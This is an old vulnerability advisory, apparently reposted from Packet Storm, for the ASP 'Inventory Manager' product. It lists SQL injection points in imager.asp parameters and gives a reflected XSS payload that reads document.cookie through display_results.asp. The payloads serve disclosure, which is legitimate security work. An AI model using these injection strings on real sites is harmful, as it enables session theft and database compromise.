Lucene search

inventorymanager.txt

🗓️ 16 Nov 2006 00:00:00Reported by benjamin mossType

packetstorm🔗 packetstormsecurity.com👁 16 Views

vulnerabilities in Inventory Manager, medium ris

`vendor site:http://www.websitedesignsforless.com/  
product:Inventory Manager  
bug:injection sql & xss (get)  
risk:medium  
  
injection sql :  
http://site.com/inventory/inventory/display/imager.asp?pictable='[sql]  
http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory]&picfield=[sql]  
http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory]&picfield=photo&where='[sql]  
  
  
xss get :  
http://site.com/inventory/inventory/display/display_results.asp?category=</textarea>'"><script>alert(document.cookie)</script>  
  
  
  
laurent gaffié & benjamin mossé  
http://s-a-p.ca/  
contact: [email protected]  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

16 Nov 2006 00:00Current

7.4High risk

Vulners AI Score7.4